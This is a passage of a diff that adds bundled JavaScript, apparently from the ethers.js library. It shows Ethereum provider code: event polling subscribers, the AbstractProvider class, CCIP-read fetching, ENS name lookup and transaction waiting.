%%hash%%. + */ + constructor(provider, hash) { + super(provider); + this.#hash = hash; + } + async _poll(blockNumber, provider) { + const tx = await provider.getTransactionReceipt(this.#hash); + if (tx) { + provider.emit(this.#hash, tx); + } + } + } + /** + * A **PollingEventSubscriber** will poll for a given filter for its logs. + * + * @_docloc: api/providers/abstract-provider + */ + class PollingEventSubscriber { + #provider; + #filter; + #poller; + #running; + // The most recent block we have scanned for events. The value -2 + // indicates we still need to fetch an initial block number + #blockNumber; + /** + * Create a new **PollingTransactionSubscriber** attached to + * %%provider%%, listening for %%filter%%. + */ + constructor(provider, filter) { + this.#provider = provider; + this.#filter = copy$2(filter); + this.#poller = this.#poll.bind(this); + this.#running = false; + this.#blockNumber = -2; + } + async #poll(blockNumber) { + // The initial block hasn't been determined yet + if (this.#blockNumber === -2) { + return; + } + const filter = copy$2(this.#filter); + filter.fromBlock = this.#blockNumber + 1; + filter.toBlock = blockNumber; + const logs = await this.#provider.getLogs(filter); + // No logs could just mean the node has not indexed them yet, + // so we keep a sliding window of 60 blocks to keep scanning + if (logs.length === 0) { + if (this.#blockNumber < blockNumber - 60) { + this.#blockNumber = blockNumber - 60; + } + return; + } + for (const log of logs) { + this.#provider.emit(this.#filter, log); + // Only advance the block number when logs were found to + // account for networks (like BNB and Polygon) which may + // sacrifice event consistency for block event speed + this.#blockNumber = log.blockNumber; + } + } + start() { + if (this.#running) { + return; + } + this.#running = true; + if (this.#blockNumber === -2) { + this.#provider.getBlockNumber().then((blockNumber) => { + this.#blockNumber = blockNumber; + }); + } + this.#provider.on("block", this.#poller); + } + stop() { + if (!this.#running) { + return; + } + this.#running = false; + this.#provider.off("block", this.#poller); + } + pause(dropWhilePaused) { + this.stop(); + if (dropWhilePaused) { + this.#blockNumber = -2; + } + } + resume() { + this.start(); + } + } + + /** + * The available providers should suffice for most developers purposes, + * but the [[AbstractProvider]] class has many features which enable + * sub-classing it for specific purposes. + * + * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider] + */ + // @TODO + // Event coalescence + // When we register an event with an async value (e.g. address is a Signer + // or ENS name), we need to add it immeidately for the Event API, but also + // need time to resolve the address. Upon resolving the address, we need to + // migrate the listener to the static event. We also need to maintain a map + // of Signer/ENS name to address so we can sync respond to listenerCount. + // Constants + const BN_2$1 = BigInt(2); + const MAX_CCIP_REDIRECTS = 10; + function isPromise$1(value) { + return (value && typeof (value.then) === "function"); + } + function getTag(prefix, value) { + return prefix + ":" + JSON.stringify(value, (k, v) => { + if (v == null) { + return "null"; + } + if (typeof (v) === "bigint") { + return `bigint:${v.toString()}`; + } + if (typeof (v) === "string") { + return v.toLowerCase(); + } + // Sort object keys + if (typeof (v) === "object" && !Array.isArray(v)) { + const keys = Object.keys(v); + keys.sort(); + return keys.reduce((accum, key) => { + accum[key] = v[key]; + return accum; + }, {}); + } + return v; + }); + } + /** + * An **UnmanagedSubscriber** is useful for events which do not require + * any additional management, such as ``"debug"`` which only requires + * emit in synchronous event loop triggered calls. + */ + class UnmanagedSubscriber { + /** + * The name fof the event. + */ + name; + /** + * Create a new UnmanagedSubscriber with %%name%%. + */ + constructor(name) { defineProperties(this, { name }); } + start() { } + stop() { } + pause(dropWhilePaused) { } + resume() { } + } + function copy$1(value) { + return JSON.parse(JSON.stringify(value)); + } + function concisify(items) { + items = Array.from((new Set(items)).values()); + items.sort(); + return items; + } + async function getSubscription(_event, provider) { + if (_event == null) { + throw new Error("invalid event"); + } + // Normalize topic array info an EventFilter + if (Array.isArray(_event)) { + _event = { topics: _event }; + } + if (typeof (_event) === "string") { + switch (_event) { + case "block": + case "debug": + case "error": + case "finalized": + case "network": + case "pending": + case "safe": { + return { type: _event, tag: _event }; + } + } + } + if (isHexString(_event, 32)) { + const hash = _event.toLowerCase(); + return { type: "transaction", tag: getTag("tx", { hash }), hash }; + } + if (_event.orphan) { + const event = _event; + // @TODO: Should lowercase and whatnot things here instead of copy... + return { type: "orphan", tag: getTag("orphan", event), filter: copy$1(event) }; + } + if ((_event.address || _event.topics)) { + const event = _event; + const filter = { + topics: ((event.topics || []).map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + })) + }; + if (event.address) { + const addresses = []; + const promises = []; + const addAddress = (addr) => { + if (isHexString(addr)) { + addresses.push(addr); + } + else { + promises.push((async () => { + addresses.push(await resolveAddress(addr, provider)); + })()); + } + }; + if (Array.isArray(event.address)) { + event.address.forEach(addAddress); + } + else { + addAddress(event.address); + } + if (promises.length) { + await Promise.all(promises); + } + filter.address = concisify(addresses.map((a) => a.toLowerCase())); + } + return { filter, tag: getTag("event", filter), type: "event" }; + } + assertArgument(false, "unknown ProviderEvent", "event", _event); + } + function getTime$1() { return (new Date()).getTime(); } + const defaultOptions$1 = { + cacheTimeout: 250, + pollingInterval: 4000 + }; + /** + * An **AbstractProvider** provides a base class for other sub-classes to + * implement the [[Provider]] API by normalizing input arguments and + * formatting output results as well as tracking events for consistent + * behaviour on an eventually-consistent network. + */ + class AbstractProvider { + #subs; + #plugins; + // null=unpaused, true=paused+dropWhilePaused, false=paused + #pausedState; + #destroyed; + #networkPromise; + #anyNetwork; + #performCache; + // The most recent block number if running an event or -1 if no "block" event + #lastBlockNumber; + #nextTimer; + #timers; + #disableCcipRead; + #options; + /** + * Create a new **AbstractProvider** connected to %%network%%, or + * use the various network detection capabilities to discover the + * [[Network]] if necessary. + */ + constructor(_network, options) { + this.#options = Object.assign({}, defaultOptions$1, options || {}); + if (_network === "any") { + this.#anyNetwork = true; + this.#networkPromise = null; + } + else if (_network) { + const network = Network.from(_network); + this.#anyNetwork = false; + this.#networkPromise = Promise.resolve(network); + setTimeout(() => { this.emit("network", network, null); }, 0); + } + else { + this.#anyNetwork = false; + this.#networkPromise = null; + } + this.#lastBlockNumber = -1; + this.#performCache = new Map(); + this.#subs = new Map(); + this.#plugins = new Map(); + this.#pausedState = null; + this.#destroyed = false; + this.#nextTimer = 1; + this.#timers = new Map(); + this.#disableCcipRead = false; + } + get pollingInterval() { return this.#options.pollingInterval; } + /** + * Returns ``this``, to allow an **AbstractProvider** to implement + * the [[ContractRunner]] interface. + */ + get provider() { return this; } + /** + * Returns all the registered plug-ins. + */ + get plugins() { + return Array.from(this.#plugins.values()); + } + /** + * Attach a new plug-in. + */ + attachPlugin(plugin) { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${plugin.name} `); + } + this.#plugins.set(plugin.name, plugin.connect(this)); + return this; + } + /** + * Get a plugin by name. + */ + getPlugin(name) { + return (this.#plugins.get(name)) || null; + } + /** + * Prevent any CCIP-read operation, regardless of whether requested + * in a [[call]] using ``enableCcipRead``. + */ + get disableCcipRead() { return this.#disableCcipRead; } + set disableCcipRead(value) { this.#disableCcipRead = !!value; } + // Shares multiple identical requests made during the same 250ms + async #perform(req) { + const timeout = this.#options.cacheTimeout; + // Caching disabled + if (timeout < 0) { + return await this._perform(req); + } + // Create a tag + const tag = getTag(req.method, req); + let perform = this.#performCache.get(tag); + if (!perform) { + perform = this._perform(req); + this.#performCache.set(tag, perform); + setTimeout(() => { + if (this.#performCache.get(tag) === perform) { + this.#performCache.delete(tag); + } + }, timeout); + } + return await perform; + } + /** + * Resolves to the data for executing the CCIP-read operations. + */ + async ccipReadFetch(tx, calldata, urls) { + if (this.disableCcipRead || urls.length === 0 || tx.to == null) { + return null; + } + const sender = tx.to.toLowerCase(); + const data = calldata.toLowerCase(); + const errorMessages = []; + for (let i = 0; i < urls.length; i++) { + const url = urls[i]; + // URL expansion + const href = url.replace("{sender}", sender).replace("{data}", data); + // If no {data} is present, use POST; otherwise GET + //const json: string | null = (url.indexOf("{data}") >= 0) ? null: JSON.stringify({ data, sender }); + //const result = await fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => { + // value.status = response.statusCode; + // return value; + //}); + const request = new FetchRequest(href); + if (url.indexOf("{data}") === -1) { + request.body = { data, sender }; + } + this.emit("debug", { action: "sendCcipReadFetchRequest", request, index: i, urls }); + let errorMessage = "unknown error"; + // Fetch the resource... + let resp; + try { + resp = await request.send(); + } + catch (error) { + // ...low-level fetch error (missing host, bad SSL, etc.), + // so try next URL + errorMessages.push(error.message); + this.emit("debug", { action: "receiveCcipReadFetchError", request, result: { error } }); + continue; + } + try { + const result = resp.bodyJson; + if (result.data) { + this.emit("debug", { action: "receiveCcipReadFetchResult", request, result }); + return result.data; + } + if (result.message) { + errorMessage = result.message; + } + this.emit("debug", { action: "receiveCcipReadFetchError", request, result }); + } + catch (error) { } + // 4xx indicates the result is not present; stop + assert(resp.statusCode < 400 || resp.statusCode >= 500, `response not found during CCIP fetch: ${errorMessage}`, "OFFCHAIN_FAULT", { reason: "404_MISSING_RESOURCE", transaction: tx, info: { url, errorMessage } }); + // 5xx indicates server issue; try the next url + errorMessages.push(errorMessage); + } + assert(false, `error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(", ")}`, "OFFCHAIN_FAULT", { + reason: "500_SERVER_ERROR", + transaction: tx, info: { urls, errorMessages } + }); + } + /** + * Provides the opportunity for a sub-class to wrap a block before + * returning it, to add additional properties or an alternate + * sub-class of [[Block]]. + */ + _wrapBlock(value, network) { + return new Block(formatBlock(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a log before + * returning it, to add additional properties or an alternate + * sub-class of [[Log]]. + */ + _wrapLog(value, network) { + return new Log(formatLog(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a transaction + * receipt before returning it, to add additional properties or an + * alternate sub-class of [[TransactionReceipt]]. + */ + _wrapTransactionReceipt(value, network) { + return new TransactionReceipt(formatTransactionReceipt(value), this); + } + /** + * Provides the opportunity for a sub-class to wrap a transaction + * response before returning it, to add additional properties or an + * alternate sub-class of [[TransactionResponse]]. + */ + _wrapTransactionResponse(tx, network) { + return new TransactionResponse(formatTransactionResponse(tx), this); + } + /** + * Resolves to the Network, forcing a network detection using whatever + * technique the sub-class requires. + * + * Sub-classes **must** override this. + */ + _detectNetwork() { + assert(false, "sub-classes must implement this", "UNSUPPORTED_OPERATION", { + operation: "_detectNetwork" + }); + } + /** + * Sub-classes should use this to perform all built-in operations. All + * methods sanitizes and normalizes the values passed into this. + * + * Sub-classes **must** override this. + */ + async _perform(req) { + assert(false, `unsupported method: ${req.method}`, "UNSUPPORTED_OPERATION", { + operation: req.method, + info: req + }); + } + // State + async getBlockNumber() { + const blockNumber = getNumber(await this.#perform({ method: "getBlockNumber" }), "%response"); + if (this.#lastBlockNumber >= 0) { + this.#lastBlockNumber = blockNumber; + } + return blockNumber; + } + /** + * Returns or resolves to the address for %%address%%, resolving ENS + * names and [[Addressable]] objects and returning if already an + * address. + */ + _getAddress(address) { + return resolveAddress(address, this); + } + /** + * Returns or resolves to a valid block tag for %%blockTag%%, resolving + * negative values and returning if already a valid block tag. + */ + _getBlockTag(blockTag) { + if (blockTag == null) { + return "latest"; + } + switch (blockTag) { + case "earliest": + return "0x0"; + case "finalized": + case "latest": + case "pending": + case "safe": + return blockTag; + } + if (isHexString(blockTag)) { + if (isHexString(blockTag, 32)) { + return blockTag; + } + return toQuantity(blockTag); + } + if (typeof (blockTag) === "bigint") { + blockTag = getNumber(blockTag, "blockTag"); + } + if (typeof (blockTag) === "number") { + if (blockTag >= 0) { + return toQuantity(blockTag); + } + if (this.#lastBlockNumber >= 0) { + return toQuantity(this.#lastBlockNumber + blockTag); + } + return this.getBlockNumber().then((b) => toQuantity(b + blockTag)); + } + assertArgument(false, "invalid blockTag", "blockTag", blockTag); + } + /** + * Returns or resolves to a filter for %%filter%%, resolving any ENS + * names or [[Addressable]] object and returning if already a valid + * filter. + */ + _getFilter(filter) { + // Create a canonical representation of the topics + const topics = (filter.topics || []).map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + }); + const blockHash = ("blockHash" in filter) ? filter.blockHash : undefined; + const resolve = (_address, fromBlock, toBlock) => { + let address = undefined; + switch (_address.length) { + case 0: break; + case 1: + address = _address[0]; + break; + default: + _address.sort(); + address = _address; + } + if (blockHash) { + if (fromBlock != null || toBlock != null) { + throw new Error("invalid filter"); + } + } + const filter = {}; + if (address) { + filter.address = address; + } + if (topics.length) { + filter.topics = topics; + } + if (fromBlock) { + filter.fromBlock = fromBlock; + } + if (toBlock) { + filter.toBlock = toBlock; + } + if (blockHash) { + filter.blockHash = blockHash; + } + return filter; + }; + // Addresses could be async (ENS names or Addressables) + let address = []; + if (filter.address) { + if (Array.isArray(filter.address)) { + for (const addr of filter.address) { + address.push(this._getAddress(addr)); + } + } + else { + address.push(this._getAddress(filter.address)); + } + } + let fromBlock = undefined; + if ("fromBlock" in filter) { + fromBlock = this._getBlockTag(filter.fromBlock); + } + let toBlock = undefined; + if ("toBlock" in filter) { + toBlock = this._getBlockTag(filter.toBlock); + } + if (address.filter((a) => (typeof (a) !== "string")).length || + (fromBlock != null && typeof (fromBlock) !== "string") || + (toBlock != null && typeof (toBlock) !== "string")) { + return Promise.all([Promise.all(address), fromBlock, toBlock]).then((result) => { + return resolve(result[0], result[1], result[2]); + }); + } + return resolve(address, fromBlock, toBlock); + } + /** + * Returns or resolves to a transaction for %%request%%, resolving + * any ENS names or [[Addressable]] and returning if already a valid + * transaction. + */ + _getTransactionRequest(_request) { + const request = copyRequest(_request); + const promises = []; + ["to", "from"].forEach((key) => { + if (request[key] == null) { + return; + } + const addr = resolveAddress(request[key], this); + if (isPromise$1(addr)) { + promises.push((async function () { request[key] = await addr; })()); + } + else { + request[key] = addr; + } + }); + if (request.blockTag != null) { + const blockTag = this._getBlockTag(request.blockTag); + if (isPromise$1(blockTag)) { + promises.push((async function () { request.blockTag = await blockTag; })()); + } + else { + request.blockTag = blockTag; + } + } + if (promises.length) { + return (async function () { + await Promise.all(promises); + return request; + })(); + } + return request; + } + async getNetwork() { + // No explicit network was set and this is our first time + if (this.#networkPromise == null) { + // Detect the current network (shared with all calls) + const detectNetwork = (async () => { + try { + const network = await this._detectNetwork(); + this.emit("network", network, null); + return network; + } + catch (error) { + if (this.#networkPromise === detectNetwork) { + this.#networkPromise = null; + } + throw error; + } + })(); + this.#networkPromise = detectNetwork; + return (await detectNetwork).clone(); + } + const networkPromise = this.#networkPromise; + const [expected, actual] = await Promise.all([ + networkPromise, + this._detectNetwork() // The actual connected network + ]); + if (expected.chainId !== actual.chainId) { + if (this.#anyNetwork) { + // The "any" network can change, so notify listeners + this.emit("network", actual, expected); + // Update the network if something else hasn't already changed it + if (this.#networkPromise === networkPromise) { + this.#networkPromise = Promise.resolve(actual); + } + } + else { + // Otherwise, we do not allow changes to the underlying network + assert(false, `network changed: ${expected.chainId} => ${actual.chainId} `, "NETWORK_ERROR", { + event: "changed" + }); + } + } + return expected.clone(); + } + async getFeeData() { + const network = await this.getNetwork(); + const getFeeDataFunc = async () => { + const { _block, gasPrice, priorityFee } = await resolveProperties({ + _block: this.#getBlock("latest", false), + gasPrice: ((async () => { + try { + const value = await this.#perform({ method: "getGasPrice" }); + return getBigInt(value, "%response"); + } + catch (error) { } + return null; + })()), + priorityFee: ((async () => { + try { + const value = await this.#perform({ method: "getPriorityFee" }); + return getBigInt(value, "%response"); + } + catch (error) { } + return null; + })()) + }); + let maxFeePerGas = null; + let maxPriorityFeePerGas = null; + // These are the recommended EIP-1559 heuristics for fee data + const block = this._wrapBlock(_block, network); + if (block && block.baseFeePerGas) { + maxPriorityFeePerGas = (priorityFee != null) ? priorityFee : BigInt("1000000000"); + maxFeePerGas = (block.baseFeePerGas * BN_2$1) + maxPriorityFeePerGas; + } + return new FeeData(gasPrice, maxFeePerGas, maxPriorityFeePerGas); + }; + // Check for a FeeDataNetWorkPlugin + const plugin = network.getPlugin("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + if (plugin) { + const req = new FetchRequest(plugin.url); + const feeData = await plugin.processFunc(getFeeDataFunc, this, req); + return new FeeData(feeData.gasPrice, feeData.maxFeePerGas, feeData.maxPriorityFeePerGas); + } + return await getFeeDataFunc(); + } + async estimateGas(_tx) { + let tx = this._getTransactionRequest(_tx); + if (isPromise$1(tx)) { + tx = await tx; + } + return getBigInt(await this.#perform({ + method: "estimateGas", transaction: tx + }), "%response"); + } + async #call(tx, blockTag, attempt) { + assert(attempt < MAX_CCIP_REDIRECTS, "CCIP read exceeded maximum redirections", "OFFCHAIN_FAULT", { + reason: "TOO_MANY_REDIRECTS", + transaction: Object.assign({}, tx, { blockTag, enableCcipRead: true }) + }); + // This came in as a PerformActionTransaction, so to/from are safe; we can cast + const transaction = copyRequest(tx); + try { + return hexlify(await this._perform({ method: "call", transaction, blockTag })); + } + catch (error) { + // CCIP Read OffchainLookup + if (!this.disableCcipRead && isCallException(error) && error.data && attempt >= 0 && blockTag === "latest" && transaction.to != null && dataSlice(error.data, 0, 4) === "0x556f1830") { + const data = error.data; + const txSender = await resolveAddress(transaction.to, this); + // Parse the CCIP Read Arguments + let ccipArgs; + try { + ccipArgs = parseOffchainLookup(dataSlice(error.data, 4)); + } + catch (error) { + assert(false, error.message, "OFFCHAIN_FAULT", { + reason: "BAD_DATA", transaction, info: { data } + }); + } + // Check the sender of the OffchainLookup matches the transaction + assert(ccipArgs.sender.toLowerCase() === txSender.toLowerCase(), "CCIP Read sender mismatch", "CALL_EXCEPTION", { + action: "call", + data, + reason: "OffchainLookup", + transaction: transaction, + invocation: null, + revert: { + signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", + name: "OffchainLookup", + args: ccipArgs.errorArgs + } + }); + const ccipResult = await this.ccipReadFetch(transaction, ccipArgs.calldata, ccipArgs.urls); + assert(ccipResult != null, "CCIP Read failed to fetch data", "OFFCHAIN_FAULT", { + reason: "FETCH_FAILED", transaction, info: { data: error.data, errorArgs: ccipArgs.errorArgs } + }); + const tx = { + to: txSender, + data: concat([ccipArgs.selector, encodeBytes([ccipResult, ccipArgs.extraData])]) + }; + this.emit("debug", { action: "sendCcipReadCall", transaction: tx }); + try { + const result = await this.#call(tx, blockTag, attempt + 1); + this.emit("debug", { action: "receiveCcipReadCallResult", transaction: Object.assign({}, tx), result }); + return result; + } + catch (error) { + this.emit("debug", { action: "receiveCcipReadCallError", transaction: Object.assign({}, tx), error }); + throw error; + } + } + throw error; + } + } + async #checkNetwork(promise) { + const { value } = await resolveProperties({ + network: this.getNetwork(), + value: promise + }); + return value; + } + async call(_tx) { + const { tx, blockTag } = await resolveProperties({ + tx: this._getTransactionRequest(_tx), + blockTag: this._getBlockTag(_tx.blockTag) + }); + return await this.#checkNetwork(this.#call(tx, blockTag, _tx.enableCcipRead ? 0 : -1)); + } + // Account + async #getAccountValue(request, _address, _blockTag) { + let address = this._getAddress(_address); + let blockTag = this._getBlockTag(_blockTag); + if (typeof (address) !== "string" || typeof (blockTag) !== "string") { + [address, blockTag] = await Promise.all([address, blockTag]); + } + return await this.#checkNetwork(this.#perform(Object.assign(request, { address, blockTag }))); + } + async getBalance(address, blockTag) { + return getBigInt(await this.#getAccountValue({ method: "getBalance" }, address, blockTag), "%response"); + } + async getTransactionCount(address, blockTag) { + return getNumber(await this.#getAccountValue({ method: "getTransactionCount" }, address, blockTag), "%response"); + } + async getCode(address, blockTag) { + return hexlify(await this.#getAccountValue({ method: "getCode" }, address, blockTag)); + } + async getStorage(address, _position, blockTag) { + const position = getBigInt(_position, "position"); + return hexlify(await this.#getAccountValue({ method: "getStorage", position }, address, blockTag)); + } + // Write + async broadcastTransaction(signedTx) { + const { blockNumber, hash, network } = await resolveProperties({ + blockNumber: this.getBlockNumber(), + hash: this._perform({ + method: "broadcastTransaction", + signedTransaction: signedTx + }), + network: this.getNetwork() + }); + const tx = Transaction.from(signedTx); + if (tx.hash !== hash) { + throw new Error("@TODO: the returned hash did not match"); + } + return this._wrapTransactionResponse(tx, network).replaceableTransaction(blockNumber); + } + async #getBlock(block, includeTransactions) { + // @TODO: Add CustomBlockPlugin check + if (isHexString(block, 32)) { + return await this.#perform({ + method: "getBlock", blockHash: block, includeTransactions + }); + } + let blockTag = this._getBlockTag(block); + if (typeof (blockTag) !== "string") { + blockTag = await blockTag; + } + return await this.#perform({ + method: "getBlock", blockTag, includeTransactions + }); + } + // Queries + async getBlock(block, prefetchTxs) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#getBlock(block, !!prefetchTxs) + }); + if (params == null) { + return null; + } + return this._wrapBlock(params, network); + } + async getTransaction(hash) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransaction", hash }) + }); + if (params == null) { + return null; + } + return this._wrapTransactionResponse(params, network); + } + async getTransactionReceipt(hash) { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransactionReceipt", hash }) + }); + if (params == null) { + return null; + } + // Some backends did not backfill the effectiveGasPrice into old transactions + // in the receipt, so we look it up manually and inject it. + if (params.gasPrice == null && params.effectiveGasPrice == null) { + const tx = await this.#perform({ method: "getTransaction", hash }); + if (tx == null) { + throw new Error("report this; could not find tx or effectiveGasPrice"); + } + params.effectiveGasPrice = tx.gasPrice; + } + return this._wrapTransactionReceipt(params, network); + } + async getTransactionResult(hash) { + const { result } = await resolveProperties({ + network: this.getNetwork(), + result: this.#perform({ method: "getTransactionResult", hash }) + }); + if (result == null) { + return null; + } + return hexlify(result); + } + // Bloom-filter Queries + async getLogs(_filter) { + let filter = this._getFilter(_filter); + if (isPromise$1(filter)) { + filter = await filter; + } + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getLogs", filter }) + }); + return params.map((p) => this._wrapLog(p, network)); + } + // ENS + _getProvider(chainId) { + assert(false, "provider cannot connect to target network", "UNSUPPORTED_OPERATION", { + operation: "_getProvider()" + }); + } + async getResolver(name) { + return await EnsResolver.fromName(this, name); + } + async getAvatar(name) { + const resolver = await this.getResolver(name); + if (resolver) { + return await resolver.getAvatar(); + } + return null; + } + async resolveName(name) { + const resolver = await this.getResolver(name); + if (resolver) { + return await resolver.getAddress(); + } + return null; + } + async lookupAddress(address) { + address = getAddress(address); + const node = namehash(address.substring(2).toLowerCase() + ".addr.reverse"); + try { + const ensAddr = await EnsResolver.getEnsAddress(this); + const ensContract = new Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], this); + const resolver = await ensContract.resolver(node); + if (resolver == null || resolver === ZeroAddress) { + return null; + } + const resolverContract = new Contract(resolver, [ + "function name(bytes32) view returns (string)" + ], this); + const name = await resolverContract.name(node); + // Failed forward resolution + const check = await this.resolveName(name); + if (check !== address) { + return null; + } + return name; + } + catch (error) { + // No data was returned from the resolver + if (isError(error, "BAD_DATA") && error.value === "0x") { + return null; + } + // Something reerted + if (isError(error, "CALL_EXCEPTION")) { + return null; + } + throw error; + } + return null; + } + async waitForTransaction(hash, _confirms, timeout) { + const confirms = (_confirms != null) ? _confirms : 1; + if (confirms === 0) { + return this.getTransactionReceipt(hash); + } + return new Promise(async (resolve, reject) => { + let timer = null; + const listener = (async (blockNumber) => { + try { + const receipt = await this.getTransactionReceipt(hash); + if (receipt != null) { + if (blockNumber - receipt.blockNumber + 1 >= confirms) { + resolve(receipt); + //this.off("block", listener); + if (timer) { + clearTimeout(timer); + timer = null; + } + return; + } + } + } + catch (error) { + console.log("EEE", error); + } + this.once("block", listener); + }); + if (timeout != null) { + timer = setTimeout(() => { + if (timer == null) { + return; + } + timer = null; + this.off("block", listener); + reject(makeError("timeout", "TIMEOUT", { reason: "timeout" })); + }, timeout); + } + listener(await this.getBlockNumber()); + }); + } + async waitForBlock(blockTag) { + assert(false, "not implemented yet", "NOT_IMPLEMENTED", { + operation: "waitForBlock" + }); + } + /** + * Clear a timer created using the [[_setTimeout]] method. + */ + _clearTimeout(timerId) { + const timer = this.#timers.get(timerId); + if (!timer) { + return; + } + if (timer.timer) { + clearTimeout(timer.timer); + } + this.#timers.delete(timerId); + } + /** + * Create a timer that will execute %%func%% after at least %%timeout%% + * (in ms). If %%timeout%% is unspecified, then %%func%% will execute + * in the next event loop. + * + * [Pausing](AbstractProvider-paused) the provider will pause any + * associated timers. + */ + _setTimeout(_func, timeout) { + if (timeout == null) { + timeout = 0; + } + const timerId = this.#nextTimer++; + const func = () => { + this.#timers.delete(timerId); + _func(); + }; + if (this.paused) { + this.#timers.set(timerId, { timer: null, func, time: timeout }); + } + else { + const timer = setTimeout(func, timeout); + this.#timers.set(timerId, { timer, func, time: getTime$1() }); + } + return timerId; + } + /** + * Perform %%func%% on each subscriber. + */ + _forEachSubscriber(func) { + for (const sub of this.#subs.values()) { + func(sub.subscriber); + } + } + /** + * Sub-classes may override this to customize subscription + * implementations. + */ + _getSubscriber(sub) { + switch (sub.type) { + case "debug": + case "error": + case "network": + return new UnmanagedSubscriber(sub.type); + case "block": { + const subscriber = new PollingBlockSubscriber(this); + subscriber.pollingInterval = this.pollingInterval; + return subscriber; + } + case "safe": + case "finalized": + return new PollingBlockTagSubscriber(this, sub.type); + case "event": + return new PollingEventSubscriber(this, sub.filter); + case "transaction": + return new PollingTransactionSubscriber(this, sub.hash); + case "orphan": + return new PollingOrphanSubscriber(this, sub.filter); + } + throw new Error(`unsupported event: ${sub.type}`); + } + /** + * If a [[Subscriber]] fails and needs to replace itself, this + * method may be used. + * + * For example, this is used for providers when using the + * ``eth_getFilterChanges`` method, which can return null if state + * filters are not supported by the backend, allowing the Subscriber + * to swap in a [[PollingEventSubscriber]]. + */ + _recoverSubscriber(oldSub, newSub) { + for (const sub of this.#subs.values()) { + if (sub.subscriber === oldSub) { + if (sub.started) { + sub.subscriber.stop(); + } + sub.subscriber = newSub; + if (sub.started) { + newSub.start(); + } + if (this.#pausedState != null) { + newSub.pause(this.#pausedState); + } + break; + } + } + } + async #hasSub(event, emitArgs) { + let sub = await getSubscription(event, this); + // This is a log that is removing an existing log; we actually want + // to emit an orphan event for the removed log + if (sub.type === "event" && emitArgs && emitArgs.length > 0 && emitArgs[0].removed === true) { + sub = await getSubscription({ orphan: "drop-log", log: emitArgs[0] }, this); + } + return this.#subs.get(sub.tag) || null; + } + async #getSub(event) { + const subscription = await getSubscription(event, this); + // Prevent tampering with our tag in any subclass' _getSubscriber + const tag = subscription.tag; + let sub = this.#subs.get(tag); + if (!sub) { + const subscriber = this._getSubscriber(subscription); + const addressableMap = new WeakMap(); + const nameMap = new Map(); + sub = { subscriber, tag, addressableMap, nameMap, started: false, listeners: [] }; + this.#subs.set(tag, sub); + } + return sub; + } + async on(event, listener) { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: false }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { + sub.subscriber.pause(this.#pausedState); + } + } + return this; + } + async once(event, listener) { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: true }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { + sub.subscriber.pause(this.#pausedState); + } + } + return this; + } + async emit(event, ...args) { + const sub = await this.#hasSub(event, args); + // If there is not subscription or if a recent emit removed + // the last of them (which also deleted the sub) do nothing + if (!sub || sub.listeners.length === 0) { + return false; + } + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const payload = new EventPayload(this, (once ? null : listener), event); + try { + listener.call(this, ...args, payload); + } + catch (error) { } + return !once; + }); + if (sub.listeners.length === 0) { + if (sub.started) { + sub.subscriber.stop(); + } + this.#subs.delete(sub.tag); + } + return (count > 0); + } + async listenerCount(event) { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { + return 0; + } + return sub.listeners.length; + } + let total = 0; + for (const { listeners } of this.#subs.values()) { + total += listeners.length; + } + return total; + } + async listeners(event) { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { + return []; + } + return sub.listeners.map(({ listener }) => listener); + } + let result = []; + for (const { listeners } of this.#subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + async off(event, listener) { + const sub = await this.#hasSub(event); + if (!sub) { + return this; + } + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { + sub.listeners.splice(index, 1); + } + } + if (!listener || sub.listeners.length === 0) { + if (sub.started) { + sub.subscriber.stop(); + } + this.#subs.delete(sub.tag); + } + return this; + } + async removeAllListeners(event) { + if (event) { + const { tag, started, subscriber } = await this.#getSub(event); + if (started) { + subscriber.stop(); + } + this.#subs.delete(tag); + } + else { + for (const [tag, { started, subscriber }] of this.#subs) { + if (started) { + subscriber.stop(); + } + this.#subs.delete(tag); + } + } + return this; + } + // Alias for "on" + async addListener(event, listener) { + return await this.on(event, listener); + } + // Alias for "off" + async removeListener(event, listener) { + return this.off(event, listener); + } + /** + * If this provider has been destroyed using the [[destroy]] method. + * + * Once destroyed, all resources are reclaimed, internal event loops + * and timers are cleaned up and no further requests may be sent to + * the provider. + */ + get destroyed() { + return this.#destroyed; + } + /** + * Sub-classes may use this to shutdown any sockets or release their + * resources and reject any pending requests. + * + * Sub-classes **must** call ``super.destroy()``. + */ + destroy() { + // Stop all listeners + this.removeAllListeners(); + // Shut down all tiemrs + for (const timerId of this.#timers.keys()) { + this._clearTimeout(timerId); + } + this.#destroyed = true; + } + /** + * Whether the provider is currently paused. + * + * A paused provider will not emit any events, and generally should + * not make any requests to the network, but that is up to sub-classes + * to manage. + * + * Setting ``paused = true`` is identical to calling ``.pause(false)``, + * which will buffer any events that occur while paused until the + * provider is unpaused. + */ + get paused() { return (this.#pausedState != null); } + set paused(pause) { + if (!!pause === this.paused) { + return; + } + if (this.paused) { + this.resume(); + } + else { + this.pause(false); + } + } + /** + * Pause the provider. If 